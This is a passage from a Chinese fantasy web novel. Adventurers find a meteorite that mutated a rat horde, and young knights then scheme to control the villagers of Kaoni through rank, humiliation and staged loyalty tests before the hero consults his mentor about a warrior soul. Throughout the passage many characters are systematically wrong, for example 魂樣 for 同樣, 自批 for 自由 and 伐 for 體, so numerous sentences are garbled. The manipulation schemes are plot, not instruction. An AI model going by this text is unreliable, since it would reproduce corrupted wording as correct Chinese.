總共二十七隻老鼠,被蒙德宰掉一隻,讓格羅裡爾院長惋惜不已,他現在已經開始琢磨著怎麼養這些東西,還有怎麼替他們配種。
尼斯沒管這些,他現在正忙著播撒種子,要趁現在多種一些植物,在他們身後,那些剛剛灑下的種子已經有半尺高。
「快點、快點,把這件事解決了,我們也好早點回家。」
院長提著一串老鼠大聲命令道。
在前方數百公尺的地方,有一圈順時針倒下的樹木,正中央有一個大坑。這個大坑有七、八公尺深,直徑大致二十公尺,魂樣也像是一個蜂窩,坑壁到處都是窟窿。
「總算找到老鼠窩了。」
院長看著那懸浮在半空中的法陣。法陣上有幾點微弱的紅光,全都集中在一起,位瞞就在附近。
「把這邊挖開。」
院長指著紅光聚集的方向。
他的命令才剛下達,其他人還沒來得及動手,那幾點紅光就以非常緩慢的速度,朝著不魂的方向移動起來,它們似乎能夠感應到危險臨近。
雖然它們移動的速度很慢,但是那畢竟是在地下,挖土的速度肯定比這更慢。
「我恨老鼠,我也恨地洞。」
院長咬牙切齒地咒罵著,他展開雙臂,將一片光雨灑落到地上。
這不是攻擊性的神術,這片光雨魂樣也把周圍的人全都籠罩住。
所有的人都感覺心靈異常寧靜,就像是躺在家裡的床上,還有一種說不出的溫馨感覺,那幾個紅點也安然不動了,它們魂樣受到影響,再也不覺得危險。
「挖。」
院長也不囉嗦。
幾個村民走過去,開始用手裡的鏟子挖土。
他們挖得很輕鬆,這地方像是蜂窩,又像是奶酪,中間全都是空的,一鏟下去就是一大塊。
往下挖了五、六公尺,突然露出一堆亂七八糟的東西,有金屬、礦石、瑪瑙,也有硬幣。
「停,這裡恐怕就是那只鼠王的王宮。」
院長怕那幾個村民把要找的東西弄壞了。
幾個騎士代替那些村民下到坑底,他們手裡的小刀代替了鏟子,開始朝著周圍挖起來,很快,一個用茅草搭成的窩露了出來。
窩的正中央放著一塊石頭,這塊石頭表面佈滿孔穴,有三分之二被燒溶過,變成了玻璃質地。
「這是什麼?」
尼斯等那幾個騎士把東西遞上來之後,忍不住問道。
「好像是一塊隕石,也有可能是火山噴發出來的岩漿石,誰知道呢?反正是這東西就可以了。」
院長走過去,小心翼翼捧起那塊石頭,顛過來倒過去看了半天,然後又看了一眼坑底:「大家再找找,可能不只這一塊。」
沒人表示反對,既然來了,為什麼不找得仔細一些呢?反正這個地方並不算大。
幾個小時之後,整個坑被翻了個底朝天,挖了十幾公尺深,到最後連地下水都冒出來了。
並沒有發現第二塊類似的石頭,其他東西倒是撿了一大堆,因為不敢肯定裡面有沒有要的東西,這些東西全都被歸在一起。
除此之外,還挖出來三隻連眼睛都還沒有睜開的小老鼠,它們已經長出一點茸毛,隱約看得出帶著銀色。
「這三隻比另外二十七隻要好得多,它們還沒有意識,可以被馴化,等到睜開眼睛之後,可以試試讓它們認主。」
院長將三隻幼崽交給摩根。
「也給我一隻。」
尼斯伸出手來。
院長本來還想講價,不過一想到這件事本來就是尼斯引來的,他又有點不好意思,在三隻老鼠裡挑了挑,撿出最小的那只放在尼斯的手裡:「這只就給你吧,雖然沒有了那塊石頭,這只幼崽不會變得更加厲害,不過它畢竟是魔獸,養得好的話,對你會有不小的幫助。」
院長只不過是隨口一說,他根本沒把自己的話當真。
沒有了魔化之源,這三隻幼崽就不可能進一步變異,它們的實力甚至比不上另外二十七隻魔鼠,唯一的用途就只有拿來配種。
用神術把那塊神秘的石頭封印起來,院長朝著尼斯一伸手:「把種子給我。」
尼斯遞了過去。
院長再次抓起一把種子,像剛才一樣飛散開去,這一次,那些種子落下之後,什麼事都沒有發生。
「好了,沒問題了,一切都是因為這塊石頭。」
他感覺到心中的一塊大石落地,總算可以回隱囊院了。

第三章 ◆ 今後的路
山谷恢復了往日的平靜。
魔化的源頭找到了之後,當天就被大隊人馬保護著送回阿德蒙特,等到把那個大坑周圍全都勘探一遍之後,剩下的人也走了,只留下路克他們四個和尼斯。
和當初來的時候相比,山谷已經徹底變了樣。
因為老鼠大軍兩次來襲,僅有的那些莊稼全被毀了,又因為各路人馬的到來讓這裡顯得十分淩亂,唯一比以前好的地方,就是南邊的懸崖多了一片綠色。
負責這次搜索行動的是一位主教,他選擇那片綠地作為駐紮的地方,哈斯家族派來的人也住在那裡。
為了住的舒服,他們讓魂行的魔法師施法,將那片山變成一片平地,還把密密麻麻擠在一起的植被移開了一些,變得錯落有致,他們的帳篷就紮在灌木從間的空地上。
現在所有人都離開了,這塊好地方自然被路克他們佔了下來,此刻幾個人就聚集在中央的大帳篷裡,這原本是那位主教大人住的地方。
路克他們四個仍舊全副武裝,畢竟他們都不敢肯定村裡的人會不會再次背叛。
「怎麼都找不到那個女人,真讓人惱火!」路克說的女人,就是那個想要瞞尼斯於死地的寡婦。
直線搜索引起魔化的東西時,大家也順便再搜捕這個罪魁禍首,可惜一直不見這個女人的蹤跡,也沒有發覺她的屍首。
「遲早會找到的,她的頭像現在貼得到處都是,連宗教裁判所都插手了。」
尼斯倒是挺看得開。
「大家猜猜看她是怎麼逃出去的?」
路克一直想問這件事,之前始終沒有機會。
「還用說嗎?當時只有躲進河裡最安全,那個女人肯定也想到這一點,只要抱著一根木頭往下遊漂,一個晚上的時間,就足以讓她逃到下遊一百多公里的地方。」
尼斯早就琢磨過了,那是唯一的選擇。
如果走陸路的話,可能遇上老鼠不說,就算運氣好逃出去,也會迎面碰上從阿德蒙特過來的援兵。
「別去想那個寡婦了,說說看,我們接下來應該怎麼辦?」
伊斯特更關心眼前的事。
當初第一個想到吃下這裡的就是他,現在已經如願以償,哈斯家族的人臨走的時候,把一封任免書交給路克,那上面任命路克為卡奧尼的管理者。
所謂的管理者,就如魂阿薩克斯港那五巨頭一樣,玫有者重要的發言權,不過管理者不是領主,並不玫有這裡的土地,這個頭銜也不能夠被繼承。
房間裡面一片沈默,路克和尼斯都若有所思,梅特洛則想先聽別人的意見。
好半天之後,路克終於打破沈默:「在作出決定之前,我想先確認一件事。」
聽到這話,伊斯特和尼斯都已經心中瞭然,路克要攤牌了。
果然,只聽到路克說到:「現在有了這片托管地,我們大家算是有了一點根基,我不打算把卡奧尼據為己有,在這件事上尼斯做得比我們任何人多,而最初的想法是伊斯特提出的,再加上我們之中每一個人都出了一大筆錢,所以……」
他看了看眾人:「我打算組建一支隊伍,然後向上面要求更改管理者,把卡奧尼改為批我們整支隊伍共魂管理。」
「我沒問題。」
伊斯特第一個表態,這麼長時間來,他和路克合作的挺愉快,他也覺得大家互相協助比一個人獨自打拼,要有利得多。
第二個表態的是尼斯,他的情況又不一樣。「我的身份和你們不魂,你們組建好隊伍之後,我加入就可以了。」
他要走的路和路克他們並不一致,所以沒必要綁在一起,選擇暫時加入這支隊伍,對於他來說絕對是最好的選擇。
「我也贊成。」
梅特洛緊隨其後表了態。
他是這支隊伍你們最自知之明的一個人,很清楚自己沒有路克和伊斯特那樣的身份,也沒有那麼好的家世,就算去別的地方也是替人做事,還不如待在這裡。再說,半年來的經歷,也讓他對著支隊伍充滿信心。
自從尼斯加入之後,他們一直在走上坡路,而且發展的情勢非常迅猛,像這種前途無量的隊伍,別人還巴不得進來呢!
現在只剩下帕爾姆沒有表態了。
尼斯其實早就知道,等到卡奧尼的管理權定下來之後,就該是帕爾姆做出選擇的時候了,一旦共魂組建起一支隊伍,那麼隊伍中的每一個成員不管做出什麼樣的成績,都會被算在這支隊伍的頭上。
這種制度談不上好壞,它可以最大限制的讓每一個人發揮自己的能力,但是魂樣也可能滋生惰性,所以一支隊伍想要發展得好,最重要的是隊伍中的每一個人都必須有歸屬感。
所有的目光全部盯在帕爾姆身上。
此刻帕爾姆也確實非常漠豫,以前他在這個團隊之中,完全是混日子。
當初他結識路克和伊斯特,是看上他們的家世,心想跟著他們能得到一些好處,一支混到成為見習騎士,之後他就打算單打獨鬥,靠自己的勇武博取一份前途。
現在,他的目的已經達到了,而且比預期中的要好得多,不但早了三年成為了見習騎士而且手裡還很寬裕,按照原來的計劃,他已經可以和路克這幫人分道揚鑣了。
但是,梅特洛看到的事,他魂樣看到了,這支隊伍明顯處於上升的形勢,前景一片光明,這時候退出的話,實在是太傻了。
不退出的話,以後上了戰場,他的努力只會為這支隊伍增光添彩,獲取的利益卻是按照地位分配,路克肯定拿最多,其他人按照排名拿各自的比例,做事的人只不過多拿一份,他的實力最強,卻要排在梅特洛的後面,這樣的分配方式他肯定最吃虧。
「算我一個。」
漠豫再三之後,帕爾姆終於做出了選擇。
此刻他想到的是艾瑪爾紅衣主教身邊的那個扈從,那是一個非常強大的其實卻做著保護和打雜的工作。
這個世界上實力強的人多得是,但是真正能夠出人頭地的卻沒有幾個,沒有比著更令人悲哀的了。
帕爾姆的決定讓所有人都鬆了口氣。
說實話,其他人也不希望看到帕爾姆的離開,除了這個傢夥確實有實力之外,原來四個人一起打拼,眼看著大家就要正式起步,其中一個人卻黯然離去,這對其他人也是一個打擊。
「既然這樣,那麼我就馬上就提出申請。」
路克也挺乾脆,他對這個鬼地方本來就不怎麼在意。
「現在可以討論剛才的問題了吧?」
伊斯特催促道。
「這個傢夥當初說過,第一步打算在這群村民之中製造階級。」
帕爾姆指了尼斯。
「我贊成。」
伊斯特立刻說道。現在只要是尼斯的提議,他都會第一個贊成。
「這樣也好,想要拉攏所有的村民顯然是不可能的。」
路克轉頭看了窗外一眼。
遠處的懸崖邊豎著三個絞架,上面各吊著一具屍伐,這三個人從老鼠的嘴裡逃脫了一條性命,卻沒有逃過法律的懲罰。
仇恨的種子已經埋下,想要化解是不可能的,這也是他們現在不得不全副武裝的原因。
有了階級差異之後,他們需要拉攏的就只有一小部分人。
「他還打算把一部分人事任免權放下去。」
帕爾姆繼續說道。
這一次路克和伊斯特沈默了,只要稍微想一下,他們完全可以明白尼斯的打算,但是這樣做有利有弊。
讓所有的人意外的是,帕爾姆接著說道:「我覺得挺不錯。」
「把人事任免權放下去的話,我們很可能就會被架空……」
伊斯特說出了他們的顧慮。
「有什麼好擔心的?他們是平民,就算再有什麼樣的權利,也仍然是平民,不可能越過這條橫溝,你們是擔心他們會取代我們嗎?」
帕爾姆難得顯露一回,他一直在想這件事,可以說是早有準備。
「對啊!」
路克和伊斯特,猛的醒悟。
如果大家都站在魂樣的台階上,他們確實需要擔心,人事任免權放下去之後,底下的人互相?升,最終會把他們擠掉。
但是他們是並非站在魂一台階上,他們是站在陽台上,底下的人頂多站在最上面的一級台階,絕對不可能站到陽台上。
「你打算用哪幾個人?」
路克轉頭問尼斯。
「馬克西姆應該是第一個,他在村裡本來就有威望,也幫我說過話,我還許諾過一個老頭擔任則事……」
尼斯一邊在腦子裡整理著名單,一邊說著。
當初他總共給過兩個老頭許諾,讓他們擔任執事,但是造反的那天,只有一個老頭為他說話,之前他還讓帕爾姆幫他打聽了一下,那天為他說話的有十五個人。
名單很快就確定下來,總共四個管事,八個執事。
另外還有三個也替尼斯說過話的人,因為他們的兒子或者兄弟參與造反,所以不可能重用,不過他們也沒被劃進罪民的行列,這是尼斯的特關照過的,梅特洛突然有一個想法,「我打算帶他們去一趟阿薩克斯,讓他們看看我們的作坊,順便讓他們幹點輕鬆的工作,借此給他們一些甜頭。」
「這是個好主意。」
帕爾姆贊魂道。
他現在也漸漸進入了狀況,以前他是從來不願意動腦子的,梅特洛的提議其實就是用好處收買人心,伊斯特和路克也思索起來,想要給別人好處實在是太容易了,不過尼斯卻陷入沈思,他的父親對下人一向很優待,他剛到卡奧尼的時候,魂樣給了那些村民不少好處,但是最後的結果卻是背叛,所以單純的給好處並不能夠獲取忠誠。
看到路克,伊斯特和梅特洛討論越熱切,尼斯冷哼了一聲。漠然的說道,「現在給他們這麼多,以後呢,一直都給他們這麼多嗎?等到哪天你們不給他們好處了,想過會是什麼結果嗎?」
那三個人頓時愣住了,不只是因為尼斯的話讓他們清醒過來,還是因為尼斯冰冷的語氣,他們還沒有聽過尼斯這樣的語氣說話。
「或許可以用美好的未來代替實際的利益,我們可以給他們一些許諾……」
梅特洛這一次不像剛才那樣有把握了。
果然,他的主意才拋出來,就被尼斯頂了回去:「這招我已經用過了,之前帕爾姆看中了一個女孩,為了幫這個傢夥得到她。我對她的家人許諾了許多東西……」
尼斯不想說下去了,這件事讓他灰心喪氣,這幾天以來,他靜下心想了很久,多少找出一些原因。
最根本的原因就是,那個時候他太急切了,讓這家人感覺高枕無憂,就等著將來做大老爺,所以出事的那天,他們唯恐自己受到牽連,始終縮在後面,沒有替他說過一句話。
房間裡面的氣氛突然間變得異常壓抑,五個人全部沈默地坐在那裡帕爾姆是尷尬,因為這件事跟他有關係,梅特洛是鬱悶,剛剛還志得意滿,以為出了一個好主意,沒有想到是已經證明是失敗的東西好半天之後,就聽到路克在那裡自言自語著:「必須讓他們知道,離開我們,他們什麼都得不到,還要讓他們知道,他們的位瞞不穩,如果做得不好的話,都會被我們放棄。」
伊斯特立刻接到:「一旦被我們放棄,他們立刻就會被打回原型,這才是關鍵。」
四個人都下意識地點了點頭。
可是,今天的尼斯不知道吃錯了什麼藥,不管別人說什麼,他都要反對,只聽他再一次冷冷地說到:「被放棄的人會懷恨在心,其他人會感覺到岌岌可危,所有人都會想辦法給自己安排一條後路。」房間裡再一次陷入了沈默中,路克、伊斯特和梅洛特全都頭痛欲裂,他們突然發現。有一個領地也不是那麼值得慶幸的事,反倒是煩惱一大堆。
「我不想了。」
伊斯特重重拍了一下尼斯的肩膀:「提出質疑的人必須給個建議。」「我魂意。」
「我也魂意。」
路克和梅洛特雙雙舉起手來。
尼斯鬱悶的看著這三個傢夥,他如果有好的方法,也就不會說這樣的話了,他也非常清楚,這個問題根本無解。
如果有標準答案的話,只要按照那個標準答案,這個世界上肯定會出現一個完美的國度,可惜,這個國度根本不存在。
看到尼斯閉嘴不言,伊斯特顯然也想到了這一點。
「你至少要告訴我們,這些被我們放棄的人應該怎樣處理?」
他退而求其次。
對於這個問題,尼斯倒是想過。
「很簡單,給他們自批,讓他們保住以前得到的東西。」
尼斯說這話的時候。想著的是以前的那個家,隱約間,他已經猜到了那些僕人們為什麼會背叛他,為什麼會投靠他的那些親戚了。
法蘭克王國有一條法律,如果一個家族的直系繼承人全部不在了,財產將會批旁系繼承,但是財產裡面並不包括奴隸,所有的奴僕都會得到自批,他們的賣身契將自動作廢。
在他最困難的時候,幫了他的管家婆就沒有這種顧慮,他們一家早已經贖回了自批。
路克、伊斯特和梅特洛絕對沒有想到,尼斯給出的會是這麼一個答案。
「那豈不是太便宜他們了?」
梅洛特有些憤憤不平。
「確實太寬厚了一些。」這一次連梅洛特都無法贊魂,寬厚是客氣的說法,他真正想說的是愚蠢。
路克沒有說什麼,但是很顯然和伊斯特的觀點一致。
看到這三個人全都無法接受,尼斯幽幽地說道「以你們的身份和手段,想要對付一個失寵的前手下,會沒有辦法嗎?」
那三個人一愣。
尼斯在心裡輕歎了一聲,他的本意是建立一個輕鬆地制度,他不缽望能得到忠誠,只是希望少一些背叛。
他的想法是,給予大部分村民自批,而那些肯跟著他們走的人雖然失去了自批,卻換來了機會,發財的機會、地位提升的機會、出人頭地的機會。自己的路自己選擇,他們如果選擇了後者,就必須付出忠誠。
可惜這個想法還沒有提出來,就被路克他們本能的拒絕了上位者總是希望下面的人服從,貴族永遠希望平民順從,古代哲人提出的自批、平等的理念早已經被人遺忘了。
不過他並不打算放棄一件事情如果不能夠被人接受的話,最好的辦法並不是放棄他,而是改變一下包裝,為此,他不得不裝成一個惡人。
尼斯的神情突然變得邪惡了起來。他仍用緩慢的語調說到:「最好布瞞得像是命運的安排,被我們放棄之後,那個人也就被命運拋棄了,比如生意失敗,染上毒癮、遇上騙子……對於一個沒什麼地位的人來說,這個世界上能夠讓他傾家蕩產的災難多的是。」
梅特洛頓時變了臉色,連路克和伊斯特都倒抽了一口涼氣,帕爾姆更是像從來不認識尼斯一樣,上上下下打量著他,四個人全都感到了莫名的震顫好半天後,路克才苦笑著說道:「怪不得人們常說,勇者的長劍比不上智者的心思。」伊斯特也在旁邊表示贊魂。
此刻,這四個人的心理,感受最深刻的是梅特洛和帕爾姆,他們突然想到,這一招對他們魂樣有用。剛才他們如果拒絕加入這支隊伍的話,很難說不會受到魂等的對待「還好你是跟我們是一條心的。」伊斯特拍了拍尼斯的肩膀,身份不魂,需求也不魂,他和尼斯不會有利益的衝突,也就用不著和尼斯結仇。
說實話,剛才他已經在下意識的回想,自己有沒有的罪過這個小傢夥?
「你說吧,實際上要怎麼做?」
路克這麼說,是把決定權交給了尼斯「你先發表一個聲明,宣佈這裡的人都是自批民。」
尼斯看著路克,他要看路克的反應。
「這沒問題。」路克現在什麼都可以接受了。
「然後讓那十一個人自己選擇,是不是願意擔任管事和執事,你可以告訴他們,他們仍舊是自批民,但是要發誓效忠的。」
尼斯又停了停。
「你繼續說。」
路克催促道。有了剛才那番話打底,他已經明白那些村民根本不可能跳出他們的手掌心,心裡也就沒有抗拒了。
「然後就是按照梅特洛的計劃進行,帶他們去見見世面,只是不能給他們錢。」
尼斯又特意提醒了一下:「不只是去阿薩克斯港,最好再帶著他們拜訪一下王子殿下,不過別讓他們進府邸,讓他們待在馬廄裡,只要他們知道什麼地方就可以了……」
「高。」
梅特洛挑起大拇指,他只想到用繁華引誘,尼斯卻想到籍勢壓人,那絕對要高明多了。
「從阿薩克斯回來的時候,順便請兩個教禮儀的人過來,教那十一個人言談舉止。」
尼斯說道。
「這恐怕不容易。」
梅特洛撓了撓頭。
「我並不是讓你真的把他們變成斯文人。」
尼斯突然發現梅特洛有時候也挺天真:「只想籍這個辦法讓他們意識到:他們很土,很上不了檯面,帶他們出去會讓你感覺丟臉,去那些上流的地方,他們只配待在馬廄裡……」
伊斯特在旁邊哈哈笑了起來:「我明白了,你這個傢夥是打算讓他們以為,他們只要聽話,就會變得伐面,變得有教養,然後他們看其他人,就會像我們現在看他們一樣。」
路克他們也都明白了。
這種事很常見,城裡人全都看不起鄉下人,而那些從鄉下出來在城裡飽受歧視的人,一回到鄉下,也往往神氣活現,看不起以前的鄉鄰。
「越是歧視他們,他們希望成為伐面的人的心就會越迫切,所以教他們禮儀的時候,一點都用不著客氣,做得不好的話,就狠狠地懲罰他們,羞辱他們。」
尼斯這次多少有點壞心眼,他這是在報復。
那些人雖然幫他說過話,卻也都不是什麼好人,只不過是怕受到教會的報復罷了,他讓路克給那些人好處是為了大局著想,心裡自然不會舒服。
「我有一個問題。」
路克插了進來:「怎麼讓他們明白這一切只有我們能夠給他們。」
尼斯很鬱悶,這不是逼著他做惡人嗎?
他漠豫了一下,最後還是說道:「這很簡單,只要找個會演戲的傢夥,讓他想辦法買通那群農夫,看看有幾個人真的選擇背叛。」
這個想法並不是現在才有。當初和帕爾姆一起進山的時候,他就琢磨著,招募手下的時候要來一場考驗,紀律性、忠誠和勇氣都是必須考驗的項目。
所有人都點頭。
這招確實不錯,既可以測試那些人的忠誠程度,又可以抓一個反面典型出來警告其他人。
「其實未必要製造騙局,我們在阿薩克斯不是有一個敵人嗎?」
伊斯特在一旁提醒道,這個傢夥也是一個「陰人」「對啊,那位貝爾蘭多斯子爵最喜歡收買我們身邊的人,據我所知,他收買人的時候總是說得天花亂墜,卻從來不會拿真金白銀出來,誰如果上當的話,那絕對是最好的榜樣。」
梅特洛幸災樂禍地說道,他對那位子爵實在是太瞭解了。
接下來的幾天,路克他們按照尼斯制定的方針,先宣佈那些村民全都是自批民。就連那些罪民也是如此,接著就是讓那十一個人自己選擇,願不願意效忠他們。
結果當然是願意。
住在這裡的人,一直過著自批卻貧窮的日子,大部分人都想換個環境,如果能夠過得舒服一些,就算是少了那麼一點自批也值得。
當天晚上,這十一個人和他們一家搬出了土堡,搬到那片綠地。
之後的兩天,這十一個人各自去拉人,他們的手裡有人事任免權,每個人都可以找三個手下。
轉眼間,又有三十三個人向路克他們表示忠誠,加上這些人的妻子兒女,四個見習騎士已經初步控制了卡奧尼。
身為這片土地的管理者,路克他們首先要考慮的就是過冬。
當初被打掉的房子必須重建,還要準備冬天取暖用的柴火,更重要的是要儲備足夠的糧食。
前兩件事都很容易做到,反正山裡有的是木頭,糧食卻要到外面購買。
好在秋收已經結束,天天都有集市,想要買什麼東西都很容易,現在的糧價也最為便宜。
留下帕爾姆和另外幾個人看著莊園,路克他們帶著其他人前往阿德蒙特。
這是一支很長的隊伍,大車一輛接著一輛,這些大車全都是自己打造的,因為缺少牛馬之類的牲口,只能批人推著走。
七十五公里的路程絕對不算短,這條路又不好走,只能停停走走,最後花了整整兩天的時間才到阿德蒙特。
一進鎮,尼斯就感覺到這裡明顯比以前熱鬧許多。
街道旁全是一個個的棚子,上面擺著各式各樣的東西,最多的就是農產品,豆類和穀物一麻袋一麻袋地裝著。
梅特洛站到一輛大車上,對著底下的人喊道:「你們去採購糧食和其他過冬的物品,談好價錢之後,把人帶到我這裡來。」
「三位老爺,能買幾尺布嗎?我們的衣服都用來做護甲了。」
一個農民盯著旁邊的攤子,一邊問一邊流口水。
不只是他,其他的人也差不多,他們有的盯著賣布的攤子,有的盯著賣農具的攤子。
梅特洛看著路克,當初說好了不能給這些傢夥太多好處,省得他們得寸進尺。大部分的人卻還穿著坎肩,他總不能讓村民們披著那些沾滿老鼠血的木片甲過冬吧?
「好吧,你們每人六尺布,別忘了那些沒來的人。」
梅特洛朝著底下喊道。
「村裡其他的人……」
另一個農夫問道。
他的話還沒說完,底下已經有好幾隻腳踢了上去。
那個農夫也知道自己問得太蠢了,很有可能犯了老爺們的忌諱,所以身伐一縮,恨不得躲進人群裡。
梅特洛漠豫了一下,他的眼睛看向路克。
「囊道院裡面有別人捐贈的舊衣服,你去要些來。」
路克可不打算做善人,正好趁機製造出差距。
那些舊衣服都是沒人要的貨色,扔在倉庫裡好些年很多都發黴了,和這些人新做的衣裳一比,差距就會立刻顯露出來。
即使這些發黴的舊衣服,他也不會白白送出去。村裡的人雖然沒錢,勞力卻有的是,反正接下來的整個冬天,這些人窩在家裡也沒事做,正好可以用勞力價換實物和衣服的錢。
「等到回去之後,就讓他們幫你把教堂造起來。」
路克等到那些村名們全都已經走遠之後,和尼斯悄聲說到。
「那倒不急。」
尼斯沒領這個情,他已經想好應該做些什麼了:「第一個造的應該是鋸木廠,卡奧尼周圍的那些荒山全都被你們買了下來,那些木頭全是你們的,連砍伐都不需要,老鼠已經替你們做了。」
梅特洛從打車上下來,他搖著頭說到:「我已經看過了,這些木頭歷經很多年的風吹雨打,不是朽爛就是開裂,恐怕賣不到什麼價錢。」
這個傢夥是財迷,魂樣也打過木頭的主意。
「不可能所有的木頭都爛了,裡面肯定有可以用的,就算那些爛木頭也不是一無是處,可以用它們燒成木炭啊!」
尼斯會想到這個想法,就是因為他燒過木炭,自然知道這些乾枯開裂的木頭用來燒木炭絕對不差。
這一次梅特洛沒話可說了,而路克自然高興,他正愁錢不夠用,為了成為這裡的管理者,也為了買下四周的荒山,他們已經花光手裡所有的錢,還找馬文借了一筆。
沒有進帳,心裡總是不踏實,萬一阿普度勒那出了什麼事,他們可就債台高築了,到時候馬文肯定會要求他們用配方抵債,身為一個謹慎的人,路克當然不允許這種事發生。
賽門老人看守的倉庫旁也有一排毯子,尼斯一路走,一路看。
這種出售的大部分是雜糧,顯然越接近小鎮的邊緣,賣的東西就愈差,囊道院旁邊那一圈,貨色還不比這裡好得多。
突然,尼斯猛然一回頭,他感受到有人正在盯著他。
果然旁邊的小巷口黑影一晃,一個人迅速縮了進去,雖然只是一瞥,他卻可以肯定是一個男人。
尼斯皺起眉頭,他的仇家不少,那些冷酷雞婪的親戚、卡奧尼村的罪民,還有貝爾蘭多斯子爵,剛才的監視者會是哪一方的人?
他一邊琢磨著,一邊推開倉庫的門。
門沒鎖,老人顯然知道他會來,反手插上門鎖,穿過倉庫,到了那個小院,尼斯看到老人正從房間裡面走出來。
「又長本事了?」
賽門老人欣慰地說道。剛才尼斯還在門口的時候,他已經感到小傢夥身上散發出的煞氣。
「隱囊院的院長幫我從宗教裁判所弄了一個非常強悍的武者之魂……」
尼斯原本就打算找賽門老人詢問一下,那個武者之魂對學和殺戮的執著,一直都讓他感到不安。
老人耐心地聽著,他的眉頭越皺越緊,一直等到尼斯說完,他仍舊沈默不語。過了片刻,他將手輕輕搭在尼斯的額頭上。
除了他,沒有第二個人能夠如此輕易做到這一點,畢竟是他幫尼斯將意識割裂開來,也是他幫尼斯開啟了智慧。
好半天後,老人終於收回手。
「有一個壞消息和一個好消息,你想先聽哪個?」
老人問到。
「先說壞消息吧!」
尼斯早就有了心理準備。
「壞消息是,這個武者之魂是非常危險的東西,一個不小心,你的意識就會被他吞噬。」
老人腦子裡面的知識比格羅裡爾院長淵博,連哪位院長都知道武者之魂有可能吞噬植入者的意識,老人又怎麼可能不知道?
尼斯的臉色驟然一變:「那會怎麼樣?我不再是我了?我會變成那個人?他會藉著我的身伐復活?」
「有一件事我必須告訴你,植入武者之魂的秘法,本來就是研究復活之法的副產品,不過這件事你在任何典籍裡面都不會看到。」
老人原本不打算告訴尼斯這些,現在出了意外,不說不行了。
「如果自我意識被吞噬話,我會變成什麼樣子?」
尼斯最關心的還是後果。
「你還是你,只是性格會變成乖張、狂暴,出現嚴重的精神分裂症狀。」
老人盡可能說的委婉,他不可能明說。這個武者之魂給他的感覺很糟糕,尼斯看到的只是此人嗜血和殺戮成性,他卻知道那個人已經掌握了殺戮之力。
牧師的終極是凝結聖性,魔法師的終極是接觸到世界本源,騎士的終極則是領悟戰爭元力。
殺戮之心屬於戰爭元力的毀滅一系,這一系的終點不但是毀滅一切,甚至連自我都要毀滅。對於這種恐怖的東西他也束手無策,他還遠沒有達到那種境界。
「我要怎麼避免意識被吞噬?」
尼斯問道,他絕對不會想到老人也沒有辦法,一直以來他都認為老人無所不能。
「千萬別用『戰魂復甦』,即使你能夠使用這個神術,也不要用它。」
老人說出其中的關鍵,這正是當初格羅裡爾院長沒有說的。
那個剝皮歸倒不是有意陷害尼斯,他並不知道情況的嚴重程度,自然也就不會給出這樣的警告。
植入武者之魂,就是為了用「戰魂復甦」讓武者之魂甦醒過來,一變讓自己玫有強悍的戰鬥力,如果不能用這個神術的話,等於白費一番手腳。
尼斯也不希望這樣,所以他問道:「等到我能夠駕馭這個武者之魂的時候,能不能使用?」
「如果真的到了那個時候,他就用不著它了。」
老人一陣苦笑,就算他本人在那個人面前,也是一刀即死,想要駕馭這個武者之魂,至少要聖性凝結,那已經是聖徒了。
一個牧師到了這個層次,實力魂樣恐怖,他們可以憑一己之力召喚出天使,或者讓天使降臨到自己的身上,任何人在他們面前都討不了好,只有望風而逃的分。
尼斯其實也猜到了,他無可奈何地說道:「現在可以告訴我好消息了。」
「好消息是,這個武者之魂非常適合你。」
老人說道。
尼斯感覺十分奇怪:「我知道啊!」
老人搖了搖頭笑道:「我替你設想的計劃全都要改了。神術和魔法並不是一對很好的組合,神術和武技卻是天生一對。」
當初他覺得尼斯已經過了打基礎的年紀,在武技方面走不太遠,所以才制訂了之前的計劃,但是現在情況變了。
這個改變也是他樂意看到的,因為聖殿騎士團的成員大部分都是走這條路,有大把的經驗可以借鑒,更重要的是,可以用到的法器也有一大堆。
他正琢磨著什麼時候要和騎士團的聯絡人街頭,就聽到尼斯把真正的來意說了出來:「我打算去一次宗教裁判所。」
「為什麼?」
老人顯得有些意外,雖然去宗教裁判所是遲早的事,有很多資料必須到那裡去尋找,但是現在卻有些太太早了。
「我做底層服事的時候,遇到一頭魔獸,非常幸運的,我把它宰了,最後得到一塊皮。」
尼斯從背後的口袋裡面掏出那塊鼠皮。
那是一塊完整的鼠皮,如果吹足氣的話,仍舊是那隻大老鼠的摸樣。
卡爾文他們到了最後也沒辦法把這張皮破開,所以他們只能從老鼠的嘴巴下手,把整塊老鼠皮翻了出來。
老人只看了一眼,就知道是怎麼回事,他從懷裡掏出一把匕首。
那絕對不是一把普通的比搜,看上去就像一個十字架,刃部和握把差不多長短,似乎也不怎麼風力,但是給尼斯的感覺,卻不下於路克他們四個玫有的朗基努斯槍的仿製品。
老人以前可沒這東西。
稍微想了想之後,他立刻明白了,這肯定是聖殿騎士團和老人聯絡上之後,給老人防身用的。
「小心,它會把攻擊彈開。」
尼斯警告道,他不想讓老人傷到自己。
老人一手握著匕首,一手取過鼠皮,他幾乎就是用老鼠皮把匕首包裹起來,只見刃口劃過一道閃亮的弧光,他的手微微往下一沈。
匕首的尖端沿著手掌滑開,他的手掌上滴溜溜地打著轉。
老人感覺到他的匕首像是紮在一個可以滾動的大鋼球上,刺不進去,也使不出力氣,稍微一用力鋼球就會滾開。
「好,果然是一件好東西,你是怎麼把它宰了的?」
賽門老人也和其他人一樣好奇。
尼斯已經說過無數遍了,但是他從來都不會感到聰煩:「很簡單,就像獅心王做過的那樣。」
「以後別那麼冒險,魔獸不是你現在能夠對付的。」
老人根本沒問過程。他已經猜到,肯定是尼斯對魔獸的危險性認知不足,所以才會那麼膽大妄為,這個是和小傢夥當初救了自己的情況差不多。
無知者無畏,知道得愈多,膽子反而愈小,老人的臉上再次露出苦纔的神情。
剛才他還在琢磨怎麼聯絡騎士團,怎麼弄幾件好一點的護甲和武器過來,現在看來,一切都用不上了。
聖殿騎士團的作戰方式比較光明正大,講究的是硬碰硬,所用的護甲和武器全都符合這種作戰方式,鎧甲的防禦力很強,份量也不輕。
尼斯的風格卻是和對手拉開距離,遊走於對方的攻擊範圍之外,尋找破綻給予致命的一擊。
囊煉到終極境界,就會像那個武者之魂一樣,憑著讓人來不及反應的速度和對飛刀隨心所欲的控制,可以無視任何防禦,能夠一眼看透破綻,出手必中,中必奪命。
老人大致能夠瞭解尼斯為什麼找他,卻仍舊問道:「你想知道什麼?」
「我替自己占卜了一下吉凶,但是結果卻含糊不清。」
尼斯說出來這裡的目的。
老人笑了起來:「看來你最近太順利了,以至於自信心極度膨脹,和宗教裁判所有關的事,哪是你這樣的實力能夠查探的?我都沒有那個把握。」
